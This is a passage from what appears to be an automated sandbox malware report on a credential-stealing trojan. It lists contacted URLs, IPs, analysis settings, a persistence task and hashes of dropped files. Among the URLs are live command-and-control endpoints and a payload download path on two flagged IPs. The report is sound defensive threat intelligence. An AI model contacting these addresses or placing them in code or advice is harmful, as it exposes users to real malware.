http://185.215.113.206/c4becf79229cb002.php-	file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1	file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.new?from=EdgeM365Shoreline	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllf	file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_509.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
http://31.41.244.11/files/random.exe3b31	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3418494044.0000000001369000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://185.215.113.206s	file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bard.google.com/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	false		high
http://31.41.244.11/files/random.exerlencodedX	skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpIEBGHD.exeata;	file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://m.kugou.com/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://www.office.com	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.44.203.85	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.27	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.173.219.84	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
2.16.158.88	unknown	European Union	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.203.90	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.203.79	unknown	United States	20940	AKAMAI-ASN1EU	false
104.117.182.18	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.44.203.78	unknown	United States	20940	AKAMAI-ASN1EU	false
13.69.116.107	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
192.168.2.6
192.168.2.13
192.168.2.14
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559627
Start date and time:	2024-11-20 18:56:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/295@22/32
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 172.217.19.238, 64.233.165.84, 172.217.21.35, 34.104.35.123, 142.250.181.42, 142.250.181.106, 172.217.19.10, 172.217.19.234, 172.217.19.170, 142.250.181.138, 172.217.17.74, 172.217.21.42, 172.217.17.42, 172.217.19.202, 142.250.181.74, 216.58.208.234, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 2.19.198.217, 23.32.238.67, 172.165.61.93, 2.20.68.222, 2.20.68.210, 2.16.158.33, 2.16.158.50, 2.16.158.192, 2.16.158.186, 2.16.158.43, 2.16.158.35, 2.16.158.179, 2.16.158.26, 2.16.158.176, 2.19.198.251, 2.19.198.250, 104.126.36.19, 104.126.36.33, 104.126.36.34, 2.19.198.243, 104.126.36.25, 2.19.198.249, 104.126.36.26, 2.21.72.83, 2.21.72.74, 142.250.65.195, 142.251.41.3, 142.250.80.67
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, telem-edge.smartscreen.microsoft.com, a1847.dscd.akamai.net, config.edge.skype.com.trafficmanager.net, arc.msn.com, th.bing.com, msedge.b.tlu.dl.d
Execution Graph export aborted for target DocumentsBAEHIEBGHD.exe, PID 5848 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8144 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:57:41	API Interceptor	154x Sleep call for process: file.exe modified
12:59:01	API Interceptor	125x Sleep call for process: skotes.exe modified
18:58:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	http://finaltestwebsite.duckdns.org/UpdateVerifyPrss!/RBC/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145e	Get hash	malicious	Unknown	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.185.110
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.217.18.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	142.250.185.78
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.142
	http://google.com	Get hash	malicious	Unknown	Browse	142.250.184.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	142.250.185.142
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	WSock.dll	Get hash	malicious	Ramnit	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134
	sh4.elf	Get hash	malicious	Mirai	Browse	20.80.33.63
	mpsl.elf	Get hash	malicious	Mirai	Browse	40.122.77.59
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.109.89.19
	http://nice-ground-009017910.5.azurestaticapps.net	Get hash	malicious	Unknown	Browse	20.8.24.149
	SPECIAL PARTY INVITATION FROM DON & LINDA HUFFMAN.msg	Get hash	malicious	Unknown	Browse	51.116.253.168
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	150.171.27.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134
	sh4.elf	Get hash	malicious	Mirai	Browse	20.80.33.63
	mpsl.elf	Get hash	malicious	Mirai	Browse	40.122.77.59
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.109.89.19
	http://nice-ground-009017910.5.azurestaticapps.net	Get hash	malicious	Unknown	Browse	20.8.24.149
	SPECIAL PARTY INVITATION FROM DON & LINDA HUFFMAN.msg	Get hash	malicious	Unknown	Browse	51.116.253.168
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	150.171.27.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134
	sh4.elf	Get hash	malicious	Mirai	Browse	20.80.33.63
	mpsl.elf	Get hash	malicious	Mirai	Browse	40.122.77.59
	phish_alert_sp2_2.0.0.0 (1).eml	Get hash	malicious	Unknown	Browse	52.109.89.19
	http://nice-ground-009017910.5.azurestaticapps.net	Get hash	malicious	Unknown	Browse	20.8.24.149
	SPECIAL PARTY INVITATION FROM DON & LINDA HUFFMAN.msg	Get hash	malicious	Unknown	Browse	51.116.253.168
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	150.171.27.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	http://interpro.wisc.edu/courses/maintaining-asphalt-pavements/?utm_source=Brochure&utm_medium=postal&utm_campaign=D487&utm_term=SHB&utm_content=Sep	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	https://www.plushtoysmfg.com/plush-keychain-factory/	Get hash	malicious	Anonymous Proxy	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	http://nice-ground-009017910.5.azurestaticapps.net	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	https://vendor.ziphq.com/magic-link/b47e3e5c-c77a-4377-b922-4ceee97070f7	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
	https://amstoree.z13.web.core.windows.net	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.53.12 13.107.246.63 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	http://interpro.wisc.edu/courses/maintaining-asphalt-pavements/?utm_source=Brochure&utm_medium=postal&utm_campaign=D487&utm_term=SHB&utm_content=Sep	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	WSock.dll	Get hash	malicious	Ramnit	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	PO-000041492.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
	https://www.google.ie/url?q=queryy8px(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2ftranscabrera.com%2fyaya%2f37w6telbuncxaji5ywvxeooxd1ok88ou67nhi/bWFyay5tY2tlbnppZUBtYWdlbGxhbmxwLmNvbQ==$?	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.103.156.88 2.16.158.90 2.16.158.82 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	ahmbf.ps1	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	seethebestthignswhichgivingbestopportunities.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	20.198.119.143 20.198.119.84
	LSMU CITATA LT 20-11-2024#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	20.198.119.143 20.198.119.84
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	file.exe	Get hash	malicious	LummaC	Browse	20.198.119.143 20.198.119.84
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	SnapshotPc.ps1	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	20.198.119.143 20.198.119.84
	cYDCUkIGVB.exe	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	cYDCUkIGVB.exe	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDAKJKFCFBGCBGDHCBAFCAKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
